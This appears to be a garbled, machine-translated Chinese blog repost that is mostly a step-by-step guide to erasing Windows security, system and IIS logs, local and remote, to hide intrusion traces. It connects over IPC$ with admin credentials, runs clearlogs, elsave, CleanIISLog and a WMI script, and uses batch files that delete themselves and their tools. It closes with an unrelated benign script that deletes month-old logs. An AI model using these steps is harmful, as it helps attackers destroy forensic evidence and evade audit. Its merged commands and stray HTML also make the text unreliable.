首页 > 编程知识 正文

电脑删除日志,windows定时删除日志脚本

时间:2023-05-05 14:39:46 阅读:181112 作者:2276

这个利器当然是传说中的psloglist.exe工具,在cmd下输入

psloglist.exe acceptelua可以防止任何协议等弹出窗口

删除psloglist.exe -c security登录日志

psloglist.exe-gsecuritybackup.evt导出登录日志

导出和删除plog list.exe-c-gsecurity backup.evt日志

这几天的研究课题是系统日志的整理,主要参考的书籍是《暗战强人. 黑客攻防实战高级演练》,虽然叙述的技术很旧,但是刚刚入门

我果然收获很大。

在Windows系统上,日志文件通常包括APP记录、安全记录、系统记录、DNS服务器记录、FTP记录、WWW记录等,扩展名为. log、

. txt。 首先,让我们详细了解每个日志文件的位置和相应的服务。

系统文件所在位置

安全日志: % win system %system32configsecevent.evt

APP应用程序日志: % win system %system32configappevent.evt

系统日志: % win system %system32configsysevent.evt

默认情况下,IIS的FTP日志: % win system %system32log filesmsftpsvc1每天一次日志

IIS的www日志: % win system %system32log filesw3svc1默认情况下每天一次日志

计划程序服务日志: %双赢系统%schedlgu.txt

注册表所在项目:

[ hklm ]systemcurrent control setservicesevent log

计划程序服务注册表所在的项目:

[ hklm ]softwareMicrosoftscheduling代理

如果放置了新的日志,路径将记录在注册表中。

熟悉保存每个日志的路径后,可以创建批处理程序来删除日志文件

@ delc :win ntsystem32log files*.* @ delc :win ntsystem32config*.evt @ delc : win

针对系统日志

clearlogs的使用很简单,其命令格式如下。

clearlogs [computer name ]-app/- sec/- sys。

这些参数的含义如下。

- app:APP应用程序日志。

-sec :安全日志。

-sys :系统日志。

要使用clearlogs工具删除事件日志,请执行以下操作:

步骤1 :在命令提示符窗口中输入netuse192.168.0.45IPC$ " 11111 "/Amin istrator命令,建立IPC $连接并远程clearlogs

步骤2 :输入以下命令之一以清除远程主机上的日志:

clearlogs \192.168.0.45 -app清除远程计算机上的APP应用程序日志。

清除clearlogs \192.168.0.45 -sec远程计算机上的安全日志。

clearlogs\ 192.168.0.45 -清除sys远程计算机上的系统日志。

步骤3 :为了更安全,您还可以创建批处理文件clear.bat。 具体内容如下。

@ echo off clearlogs-app clearlogs-sec clearlogs-sysdelclearlogs.exedelc.batexitspanstyle=' font-family 3360 arial,me 边距-右:0 px; 边距- bottom :0 px; 边距-左:0 px; padding-top:0px; padding-right:0px; padding-bottom:0px; padding-left:0px; white-space:normal '步骤4 :使用net time命令显示远程计算机的系统时间,使用AT时间c:clear.bat命令显示clearlogs.exe

。</span>

步骤5:使用”net use \192.168.0.45ipc$/del”命令来断开IPC$连接。

无论是本地还是远程清除日志,都可以使用elsave工具来完成。elsave是个清除日志的程序,其作用是远程删除事件查看器中的相关的日志。

其命令格式为:

elsave [-s\server] [-l log] [-F file] [-C] [-q]

其中各个参数的含义如下。

-s\server:指定远程计算机。

-l log:指定日志类型,其中参数”application”为应用程序日志,参数”system”为系统日志,参数”security”为安全日志。

-F file:指定保存日志文件的路径。

-C:清除日志操作,注意”-C”要大写。

-q:把错误信息写入日志。

使用elsave删除日志的具体操作步骤如下。

步骤1:在本地命令提示符窗口中输入”net use \ipipc$ “password” /user:”"”命令,即可与远程主机/服务器用IPC$进行连接。

步骤2:在本地命令提示符窗口中分别输入如下命令,即可删除远程计算机中的日志文件。

清除应用程序日志命令:elsave -s\192.168.0.45 -l application -C。

清除系统日志命令:elsave -s\192.168.0.45 -l system -C。

清除安全日志命令:elsave -s\192.168.0.45 -l security -C。

步骤3:在本地命令提示符窗口中输入”net use\192.168.0.45ipc$/ del”命令,即可断开IPC$连接。这样黑客便成功地删除了远程主机中的事件日志。

步骤4:另外,也可以编写一个批处理文件clear.bat,具体的内容如下:

<span style="font-size:14px;margin-top:0px; margin-right:0px; margin-bottom:0px; margin-left:0px; padding-top:0px; padding-right:0px; padding-bottom:0px; padding-left:0px;">net use \%1ipc$ %3 /user:%2elsave -s \%1 -l "application" -Celsave -s \%1 -l "system" -Celsave -s \%1 -l "securtity" -Cnet use \%1ipc$ /del<span style="font-family:Arial,Verdana,sans-serif;margin-top:0px; margin-right:0px; margin-bottom:0px; margin-left:0px; padding-top:0px; padding-right:0px; padding-bottom:0px; padding-left:0px; white-space:normal">步骤5:把该文件存储到和elsave.exe文件相同的文件夹下之后,在命令提示符窗口中运行"Clear.bat 192.168.0.45 伶俐的啤酒 """命令,即可清除远程计算机的日志记录。</span></span>

批处理每次能处理的变量从%0~%9共10个,其中,%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值。同理,%2~%9指输入的第 2~第9个值。

CleanIISLog是一款常见的日志处理工具,它可以不留痕迹地清除指定的IP连接记录。CleanIISLog只能在本地运行,而且必须具有Administrators权限。

其命令格式为:

cleaniislog [logfile] [.] [cleanIP]

其中各个参数的含义如下。

logfile:清除的日志文件,Logfile用于指定要处理的日志文件,如果指定为”.”,则处理所有的日志文件。

[]中的”.”代表所有清除的日志中那个IP地址记录。

cleanIP用于指定要清除的IP记录,如果指定为”.”,则清除所有的IP记录,但是最好不要这样设置。

最后的”.”代表所有IP记录。

例如,”cleaniislog . 127.0.0.1″的作用是只清除本机的访问记录,而保留其他的IP记录。当清除成功之后,cleanIISLog即可在系统日志中将本身的运行记录清除。

这两个工具都需要你建立ipc连接来完成,那么如果没有ipc怎么办啊。那就是基于wmi(windows 管理规范)来清除

其命令格式为:

dellog.vbs targetIP username password [lognamelist] lognamelist: logname1[,logname2...] clear specified logs *|-a|-all clear all logs -v|-view|NULL enum log names

针对WWW日志

IIS日志保存在%systemroot%system32logfiles下。如果启动了web server的话,那么就会在上述路径下多出一个W3SVC1的文件夹,用

 

来存储web服务日志。

如果也启动了iis 自带的ftp服务,那么还有会有个MSFTPSVC1的文件夹,里面是ftp的日志。

 

 

 

 

 

 

 

最近在学习写bat脚本,以下为实现批量删除一个月前的日志文件。话不多说直接上代码:

@echo off
set y=%date:~0,4%
set m=%date:~5,2%
set d=%date:~8,2%
set /a m-=1
if %m% LSS 11 set m=0%m%
if %m%==00 set m=12&set /a y-=1
set datestr=%y%%m%%d%
setlocal EnableDelayedExpansion
for %%i in (d:test*.log) do (
    set var1=%%i
    set var2=!var1:~-12,8!
    if !var2! lss %datestr% (del d:test*!var2!.log)
)
endlocal
exit 
备注: 
1、这里截取当前时间的年月日,不同系统可能默认的不一致,自己可通过cmd–输入date,回车查看。需要修改的话自行baidu。 
2、setlocal EnableDelayedExpansion/endlocal 
设置本地为延迟扩展(延迟变量),全称”延迟环境变量扩展”, 变量%%用!!代替,来获取变量实时的值。 
3、实现原理: 
这里由于日志文件命名是有规律的,都是日志名+时间(年月日).log,通过截取当中的日期与当前时间的一个月前日期比较来决定删除对应的文件。
--------------------- 
作者:jiangyuhai_js 
来源:CSDN 
原文:https://blog.csdn.net/jiangyuhai_js/article/details/73603354 
版权声明:本文为博主原创文章,转载请附上博文链接!

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。